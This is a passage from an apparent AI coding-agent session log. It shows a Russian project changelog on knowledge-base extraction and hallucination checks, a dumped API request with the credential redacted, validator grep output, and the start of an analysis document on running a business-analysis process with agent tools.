`triage`/`push` \u043d\u0430\\n  upstream \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f labels (\u0437\u0430\u0433\u043e\u0442\u043e\u0432\u043a\u0430 issue \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 PR).\\n\\n### Changed \u2014 Issue #48 \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u0435 `AI_SESSION_HANDOVER_PROMPT.md` (\u0440\u043e\u043b\u044c \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432)\\n\\n### Added \u2014 Issue #310 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0411\u0417 \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439\\n\\n- \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 PDF \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0432 **\u0441\u0432\u043e\u0439** \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 (\u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b = \u043e\u0434\u043d\u0430\\n  \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0435\u043a\u0446\u0438\u044f), \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u043c `scripts/kb/process_sources.py`:\\n  | \u0420\u0430\u0437\u0434\u0435\u043b \u0411\u0417 | \u041a\u043e\u0434 | \u0421\u0442\u0440. | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | \u0422\u043e\u043a\u0435\u043d\u043e\u0432 | \u0414\u043e\u0432\u0435\u0440\u0438\u0435 |\\n  | --- | --- | ---: | ---: | ---: | --- |\\n  | [`kb/processed/vpbx-api/`](kb/processed/vpbx-api/index.md) | VPBXAPI | 367 | 255 | 261672 | requires_review |\\n  | [`kb/processed/rolevaya-model-vats/`](kb/processed/rolevaya-model-vats/index.md) | ROLES | 59 | 65 | 45383 | high |\\n  | [`kb/processed/integration-1c/`](kb/processed/integration-1c/index.md) | INT1C | 46 | 8 | 22181 | high |\\n  | [`kb/processed/lk-vats-sso/`](kb/processed/lk-vats-sso/index.md) | LKSSO | 22 | 10 | 10072 | high |\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c **\u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445**\\n  [`scripts/kb/verify_extraction.py`](scripts/kb/verify_extraction.py): \u0442\u0435 \u0436\u0435\\n  \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0435\u0440\u0435\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u044b\u043c \u0434\u0432\u0438\u0436\u043a\u043e\u043c (PyMuPDF) \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u044b\\n  (URL, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u044b, \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0442\u0435\u0440\u043c\u0438\u043d\u044b) \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\\n  \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c pdfplumber. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e 9531 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0442\u043e\u043a\u0435\u043d, \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0445 \u2014\\n  0. \u0418\u0442\u043e\u0433 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443 \u2014 \u0432 `kb/processed//verification.md` \u0438 \u0432\\n  \u0431\u043b\u043e\u043a\u0435 `verification` \u0444\u0430\u0439\u043b\u0430 `meta.json`.\\n- \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 **\u043d\u0435 \u0434\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u044e\u0442\u0441\u044f**, \u0430 \u0440\u0430\u0437\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u0441 \u0442\u043e\u0447\u043d\u043e\u0439\\n  \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u00ab\u0438\u043c\u044f PDF + \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u00bb:\\n  `> \u26a0\ufe0f **\u041f\u0420\u041e\u0411\u0415\u041b \u0418\u0417\u0412\u041b\u0415\u0427\u0415\u041d\u0418\u042f**: \u2026 (\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: \\\\`<\u0444\u0430\u0439\u043b>.pdf\\\\`, \u0441\u0442\u0440. N)`.\\n  \u0412 VPBX API \u0442\u0430\u043a \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b 4 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0435\u0437 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f (35, 47, 52, 54) \u2014\\n  \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 `requires_review`.\\n- `index.md` \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043d\u0435\u0441\u0451\u0442 frontmatter \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438:\\n  `source_document`, `extraction_date`, `model_used`, `confidence_level`,\\n  `pages_covered`.\\n- Negative-\u0442\u0435\u0441\u0442\\n  [`experiments/kb-verify-detects-hallucination.py`](experiments/kb-verify-detects-hallucination.py)\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u00ab0 \u043d\u0430\u0445\u043e\u0434\u043e\u043a\u00bb \u2014 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043d\u0438\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0440\u0430: \u0432 \u043a\u043e\u043f\u0438\u044e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\\n  \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u044b\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, URL, \u043b\u0438\u043c\u0438\u0442 \u0438 \u0438\u043c\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0438 \u0432\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435\\n  \u043f\u043e\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f, \u0430 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u2014 \u043d\u0435\u0442.\\n\\n### Removed \u2014 Issue #310 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `contact-center-manual-sample`\\n\\n- \u0423\u0434\u0430\u043b\u0451\u043d `kb/processed/contact-center-manual-sample` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\\n  \u0444\u0438\u043a\u0441\u0442\u0443\u0440\u044b, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430; \u0432 \u0411\u0417 \u0435\u043c\u0443 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e. \u0421\u0442\u0435\u043d\u0434 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0411\u0410\\n  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e 4 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c \u0411\u0410 \u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b, **\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f** \u043f\u0440\u0430\u0432\u043e\u043a\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (P1\u2013P5) \u043a\u0430\u043a \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 RFC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (\u0431\u0435\u0437 \u0435\u0451\\n  \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f). \u0421\u0430\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0432 \u044d\u0442\u043e\u043c PR **\u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f** \u2014 \u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u044b\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 (\u0441\u043c. \u043d\u0438\u0436\u0435).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\\n  [`standards/experiment-log-standard.md`](standards/experiment-log-standard.md):\\n  \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 (GitHub Issue / \u043b\u0451\u0433\u043a\u0438\u0439 Markdown) \u0438 \u044f\u0434\u0440\u043e \u0438\u0437 6 \u043c\u0435\u0442\u0440\u0438\u043a.\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 (dogfood \u043d\u0430 \u0441\u0435\u0441\u0441\u0438\u0438 1027)\\n  [`runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md`](runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n  [`docs/audit/audit-contracts-2026-06-17.md`](docs/audit/audit-contracts-2026-06-17.md):\\n  \u0440\u0435\u0432\u0438\u0437\u0438\u044f `AI_GOVERNANCE.md`, `CONTRIBUTING.md` \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f,\\n  \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b (\u043d\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0442\u043b\u0430\u0434\u043a\u0438/RFC/\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n  [`docs/audit/audit-research-1027.md`](docs/audit/audit-research-1027.md):\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 H1\u2013H4, \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 O1\u2013O3 \u0438\\n  \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (ADR #3\u2013#8).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n  [`standards/prompt-debugging-process.md`](standards/prompt-debugging-process.md)\\n  \u0438 \u0440\u0435\u0435\u0441\u0442\u0440 RFC [`docs/rfc/rfc-register.md`](docs/rfc/rfc-register.md):\\n  \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u00ab\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u2192 RFC \u2192 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u2192 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u00bb.\\n\\n### Added \u2014 Issue #97 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 (Creative + Research)\\n\\n- \u0424\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 (\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2194 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f) \u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u043d\u0430\u0431\u043e\u0440\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:34.196Z] [INFO]       }\n[2026-09-29T07:46:34.196Z] [INFO]     ]\n[2026-09-29T07:46:34.196Z] [INFO]   },\n[2026-09-29T07:46:34.196Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"uuid\": \"a097a58c-606e-41cf-9ce7-8e9ed26016b2\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:34.000Z\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:34.196Z] [INFO] }\n[2026-09-29T07:46:34.205Z] [STDOUT] [log_0be5d3] sending request {\n[2026-09-29T07:46:34.210Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:34.216Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:34.219Z] [STDOUT]   options: {\n[2026-09-29T07:46:34.225Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:34.229Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:34.236Z] [STDOUT]     body: {\n[2026-09-29T07:46:34.240Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:34.243Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:34.247Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:34.253Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:34.264Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:34.268Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:34.276Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:34.283Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:34.287Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:34.290Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:34.294Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:34.298Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:34.302Z] [STDOUT]     },\n[2026-09-29T07:46:34.304Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:34.308Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:34.313Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:34.318Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:34.323Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:34.327Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:34.331Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:34.336Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:34.341Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:34.344Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:34.348Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:34.354Z] [STDOUT]     },\n[2026-09-29T07:46:34.359Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:34.363Z] [STDOUT]   },\n[2026-09-29T07:46:34.365Z] [STDOUT]   headers: {\n[2026-09-29T07:46:34.367Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:34.373Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:34.378Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:34.382Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:34.384Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:34.390Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:34.395Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:34.410Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:34.413Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:34.422Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:34.428Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:34.433Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1775\",\n[2026-09-29T07:46:34.436Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:34.441Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:34.447Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.453Z] [STDOUT]     \"x-client-request-id\": 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[\n[2026-09-29T07:46:34.750Z] [INFO]       {\n[2026-09-29T07:46:34.750Z] [INFO]         \"tool_use_id\": \"toolu_01M4jAFx9qrtRpxzhWwNZqoW\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"content\": \"11:  \\\"status\\\"\\n14:  \\\"temperature\\\"\\n150:    *:status | *:version | *:updated | *:temperature)\\n156:    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n159:    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n160:    knowledge:analysis-subtype | knowledge:supersedes)\\n163:    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n175:    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n179:    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n184:    standard:level | standard:concept_type | standard:related_standards | \\\\\\n212:    default:type | default:context | default:method | default:related_artifacts | \\\\\\n222:validate_status() {\\n233:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid knowledge status '$value' (expected one of: draft, reviewed, canonical, superseded)\\\"\\n244:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid governance status '$value' (expected one of: draft, proposed, accepted, rejected, deprecated, superseded)\\\"\\n255:      error \\\"$path\\\" \\\"$line\\\" \\\"invalid status '$value' (expected a controlled lifecycle status)\\\"\\n268:    status)\\n269:      validate_status \\\"$path\\\" \\\"$class\\\" \\\"$line\\\" \\\"$value\\\"\\n284:    temperature)\\n286:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n288:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n319:    decision-type)\\n324:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n462:  if [[ \\\"$class\\\" == \\\"adr\\\" && -z \\\"${lines[decision-type]+set}\\\" ]]; then\\n463:    error \\\"$path\\\" 1 \\\"missing required frontmatter field for ADR artifact: decision-type\\\"\\n485:    find \\\"$target\\\" -type f -name '*.md' | sort\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, 